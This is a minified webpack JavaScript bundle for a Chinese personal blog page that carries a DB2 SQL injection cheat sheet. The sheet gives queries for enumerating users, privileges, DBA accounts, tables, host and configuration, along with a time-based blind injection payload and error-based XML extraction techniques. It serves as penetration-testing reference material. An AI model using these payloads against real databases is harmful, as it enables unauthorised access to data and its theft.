mirror of
https://github.com/wjlin0/wjlin0.github.io.git
synced 2026-10-27 19:10:50 +00:00
1 line
16 KiB
JavaScript
1 line
16 KiB
JavaScript
"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6021],{28453:(e,s,l)=>{l.d(s,{R:()=>a,x:()=>t});var n=l(96540);const i={},r=n.createContext(i);function a(e){const s=n.useContext(r);return n.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function t(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:a(e.components),n.createElement(r.Provider,{value:s},e.children)}},87531:(e,s,l)=>{l.r(s),l.d(s,{assets:()=>c,contentTitle:()=>t,default:()=>o,frontMatter:()=>a,metadata:()=>n,toc:()=>d});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","title":"DB2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/09.DB2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/09.DB2.md","tags":[],"version":"current","sidebarPosition":9,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"HQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL"},"next":{"title":"Cassandra","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra"}}');var i=l(74848),r=l(28453);const a={},t=void 0,c={},d=[{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"DB2 \u804a\u5929",id:"db2-\u804a\u5929",level:2},{value:"\u7248\u672c",id:"\u7248\u672c",level:3},{value:"\u8bc4\u8bba",id:"\u8bc4\u8bba",level:3},{value:"\u5f53\u524d\u7528\u6237",id:"\u5f53\u524d\u7528\u6237",level:3},{value:"\u5217\u51fa\u7528\u6237",id:"\u5217\u51fa\u7528\u6237",level:3},{value:"\u5217\u51fa\u6743\u9650",id:"\u5217\u51fa\u6743\u9650",level:3},{value:"\u5217\u51fa DBA \u5e10\u6237",id:"\u5217\u51fa-dba-\u5e10\u6237",level:3},{value:"\u5f53\u524d\u6570\u636e\u5e93",id:"\u5f53\u524d\u6570\u636e\u5e93",level:3},{value:"\u5217\u51fa\u6570\u636e\u5e93",id:"\u5217\u51fa\u6570\u636e\u5e93",level:3},{value:"\u5217\u51fa\u5217",id:"\u5217\u51fa\u5217",level:3},{value:"\u5217\u51fa\u8868\u683c",id:"\u5217\u51fa\u8868\u683c",level:3},{value:"\u4ece\u5217\u540d\u67e5\u627e\u8868",id:"\u4ece\u5217\u540d\u67e5\u627e\u8868",level:3},{value:"\u9009\u62e9\u7b2c N \u884c",id:"\u9009\u62e9\u7b2c-n-\u884c",level:3},{value:"\u9009\u62e9\u7b2c N \u4e2a\u5b57\u7b26",id:"\u9009\u62e9\u7b2c-n-\u4e2a\u5b57\u7b26",level:3},{value:"\u6309\u4f4d\u4e0e/\u6216/\u975e/\u5f02\u6216",id:"\u6309\u4f4d\u4e0e\u6216\u975e\u5f02\u6216",level:3},{value:"ASCII \u503c",id:"ascii-\u503c",level:3},{value:"\u5b57\u7b26->ASCII \u503c",id:"\u5b57\u7b26-ascii-\u503c",level:3},{value:"\u94f8\u9020",id:"\u94f8\u9020",level:3},{value:"\u51f9\u5f62\u5b57\u7b26\u4e32",id:"\u51f9\u5f62\u5b57\u7b26\u4e32",level:3},{value:"IF \u58f0\u660e",id:"if-\u58f0\u660e",level:3},{value:"\u6848\u4f8b\u8bf4\u660e",id:"\u6848\u4f8b\u8bf4\u660e",level:3},{value:"\u907f\u514d\u5f15\u7528",id:"\u907f\u514d\u5f15\u7528",level:3},{value:"\u65f6\u95f4\u5ef6\u8fdf",id:"\u65f6\u95f4\u5ef6\u8fdf",level:3},{value:"\u5e8f\u5217\u5316\u4e3a XML\uff08\u7528\u4e8e\u57fa\u4e8e\u9519\u8bef\u7684\uff09",id:"\u5e8f\u5217\u5316\u4e3a-xml\u7528\u4e8e\u57fa\u4e8e\u9519\u8bef\u7684",level:3},{value:"\u547d\u4ee4\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u8bbf\u95ee",id:"\u547d\u4ee4\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u8bbf\u95ee",level:3},{value:"\u4e3b\u673a\u540d/IP \u548c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f",id:"\u4e3b\u673a\u540dip-\u548c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f",level:3},{value:"\u6570\u636e\u5e93\u6587\u4ef6\u7684\u4f4d\u7f6e",id:"\u6570\u636e\u5e93\u6587\u4ef6\u7684\u4f4d\u7f6e",level:3},{value:"\u7cfb\u7edf\u914d\u7f6e",id:"\u7cfb\u7edf\u914d\u7f6e",level:3},{value:"\u9ed8\u8ba4\u7cfb\u7edf\u6570\u636e\u5e93",id:"\u9ed8\u8ba4\u7cfb\u7edf\u6570\u636e\u5e93",level:3},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function m(e){const s={a:"a",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(s.table,{children:[(0,i.jsx)(s.thead,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(s.tbody,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.td,{style:{textAlign:"left"},children:(0,i.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,i.jsx)(s.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,i.jsx)(s.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.a,{href:"#db2-cheatsheet",children:"DB2 \u804a\u5929"})}),"\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.a,{href:"#references",children:"References"})}),"\n"]}),"\n",(0,i.jsx)(s.h2,{id:"db2-\u804a\u5929",children:"DB2 \u804a\u5929"}),"\n",(0,i.jsx)(s.h3,{id:"\u7248\u672c",children:"\u7248\u672c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select versionnumber, version_timestamp from sysibm.sysversions;\nselect service_level from table(sysproc.env_get_inst_info()) as instanceinfo\nselect getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+)\nselect prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo\nselect service_level,bld_level from sysibmadm.env_inst_info\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u8bc4\u8bba",children:"\u8bc4\u8bba"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select blah from foo -- comment like this (double dash)\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5f53\u524d\u7528\u6237",children:"\u5f53\u524d\u7528\u6237"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select user from sysibm.sysdummy1\nselect session_user from sysibm.sysdummy1\nselect system_user from sysibm.sysdummy1\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u7528\u6237",children:"\u5217\u51fa\u7528\u6237"}),"\n",(0,i.jsx)(s.p,{children:"DB2 \u4f7f\u7528\u64cd\u4f5c\u7cfb\u7edf\u5e10\u6237"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select distinct(authid) from sysibmadm.privileges -- priv required\nselect grantee from syscat.dbauth -- incomplete results\nselect distinct(definer) from syscat.schemata -- more accurate\nselect distinct(grantee) from sysibm.systabauth -- same as previous\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u6743\u9650",children:"\u5217\u51fa\u6743\u9650"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select * from syscat.tabauth -- shows priv on tables\nselect * from syscat.tabauth where grantee = current user -- shows privs for current user\nselect * from syscat.dbauth where grantee = current user;;\nselect * from SYSIBM.SYSUSERAUTH \u2014 List db2 system privilegies\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa-dba-\u5e10\u6237",children:"\u5217\u51fa DBA \u5e10\u6237"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'\nselect name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = \u2018Y\u2019 or SYSADMAUTH = \u2018G\u2019\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5f53\u524d\u6570\u636e\u5e93",children:"\u5f53\u524d\u6570\u636e\u5e93"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select current server from sysibm.sysdummy1\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u6570\u636e\u5e93",children:"\u5217\u51fa\u6570\u636e\u5e93"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select distinct(table_catalog) from sysibm.tables\nSELECT schemaname FROM syscat.schemata;\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u5217",children:"\u5217\u51fa\u5217"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5217\u51fa\u8868\u683c",children:"\u5217\u51fa\u8868\u683c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select table_name from sysibm.tables\nselect name from sysibm.systables\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u4ece\u5217\u540d\u67e5\u627e\u8868",children:"\u4ece\u5217\u540d\u67e5\u627e\u8868"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select tbname from sysibm.syscolumns where name='username'\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u9009\u62e9\u7b2c-n-\u884c",children:"\u9009\u62e9\u7b2c N \u884c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u9009\u62e9\u7b2c-n-\u4e2a\u5b57\u7b26",children:"\u9009\u62e9\u7b2c N \u4e2a\u5b57\u7b26"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u6309\u4f4d\u4e0e\u6216\u975e\u5f02\u6216",children:"\u6309\u4f4d\u4e0e/\u6216/\u975e/\u5f02\u6216"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot\n"})}),"\n",(0,i.jsx)(s.h3,{id:"ascii-\u503c",children:"ASCII \u503c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"Char\tselect chr(65) from sysibm.sysdummy1 -- returns 'A'\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5b57\u7b26-ascii-\u503c",children:"\u5b57\u7b26->ASCII \u503c"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select ascii('A') from sysibm.sysdummy1 -- returns 65\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u94f8\u9020",children:"\u94f8\u9020"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select cast('123' as integer) from sysibm.sysdummy1\nselect cast(1 as char) from sysibm.sysdummy1\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u51f9\u5f62\u5b57\u7b26\u4e32",children:"\u51f9\u5f62\u5b57\u7b26\u4e32"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc'\nselect 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'\n"})}),"\n",(0,i.jsx)(s.h3,{id:"if-\u58f0\u660e",children:"IF \u58f0\u660e"}),"\n",(0,i.jsx)(s.p,{children:"\u4f3c\u4e4e\u53ea\u5141\u8bb8\u5728\u5b58\u50a8\u8fc7\u7a0b\u4e2d\u4f7f\u7528\u3002\u8bf7\u6539\u7528\u6848\u4f8b\u903b\u8f91\u3002"}),"\n",(0,i.jsx)(s.h3,{id:"\u6848\u4f8b\u8bf4\u660e",children:"\u6848\u4f8b\u8bf4\u660e"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u907f\u514d\u5f15\u7528",children:"\u907f\u514d\u5f15\u7528"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns \u201cADRI\u201d. Works without select too\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u65f6\u95f4\u5ef6\u8fdf",children:"\u65f6\u95f4\u5ef6\u8fdf"}),"\n",(0,i.jsx)(s.p,{children:"\u91cd\u67e5\u8be2\uff0c\u4f8b\u5982\uff1a\u5982\u679c\u7528\u6237\u4ee5 ascii 68\uff08'D'\uff09\u5f00\u5934\uff0c\u5219\u5c06\u6267\u884c\u91cd\u67e5\u8be2\uff0c\u4ece\u800c\u5ef6\u8fdf\u54cd\u5e94\u3002\u7136\u800c\uff0c\u5982\u679c\u7528\u6237\u4e0d\u4ece ascii 68 \u5f00\u59cb\uff0c\u90a3\u4e48\u91cd\u67e5\u8be2\u5c06\u4e0d\u4f1a\u6267\u884c\uff0c\u56e0\u6b64\u54cd\u5e94\u5c06\u66f4\u5feb\u3002"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 \n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u5e8f\u5217\u5316\u4e3a-xml\u7528\u4e8e\u57fa\u4e8e\u9519\u8bef\u7684",children:"\u5e8f\u5217\u5316\u4e3a XML\uff08\u7528\u4e8e\u57fa\u4e8e\u9519\u8bef\u7684\uff09"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string\nselect xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements\nselect xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(\u2026 AS varchar(500)) to display the result.\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u547d\u4ee4\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u8bbf\u95ee",children:"\u547d\u4ee4\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u8bbf\u95ee"}),"\n",(0,i.jsx)(s.p,{children:"\u4f3c\u4e4e\u53ea\u5141\u8bb8\u6765\u81ea\u8fc7\u7a0b\u6216 UDF\u3002"}),"\n",(0,i.jsx)(s.h3,{id:"\u4e3b\u673a\u540dip-\u548c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f",children:"\u4e3b\u673a\u540d/IP \u548c\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u6570\u636e\u5e93\u6587\u4ef6\u7684\u4f4d\u7f6e",children:"\u6570\u636e\u5e93\u6587\u4ef6\u7684\u4f4d\u7f6e"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u7cfb\u7edf\u914d\u7f6e",children:"\u7cfb\u7edf\u914d\u7f6e"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{className:"language-sql",children:"select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.\nselect name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.\n"})}),"\n",(0,i.jsx)(s.h3,{id:"\u9ed8\u8ba4\u7cfb\u7edf\u6570\u636e\u5e93",children:"\u9ed8\u8ba4\u7cfb\u7edf\u6570\u636e\u5e93"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf ibm"}),"\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf\u8ba1\u7b97\u673a"}),"\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf\u7edf\u8ba1"}),"\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf\u516c\u5171"}),"\n",(0,i.jsx)(s.li,{children:"\u6458\u8981"}),"\n",(0,i.jsx)(s.li,{children:"\u7cfb\u7edf\u5de5\u5177"}),"\n"]}),"\n",(0,i.jsx)(s.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.a,{href:"https://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/",children:"DB2 SQL \u6ce8\u5165\u5907\u5fd8\u5355-Adri\xe1n-20/05/2012"})}),"\n",(0,i.jsx)(s.li,{children:(0,i.jsx)(s.a,{href:"http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet",children:"DB2 SQL \u6ce8\u5165\u5907\u5fd8\u5355-pentestmonkey"})}),"\n"]})]})}function o(e={}){const{wrapper:s}={...(0,r.R)(),...e.components};return s?(0,i.jsx)(s,{...e,children:(0,i.jsx)(m,{...e})}):m(e)}}}]); |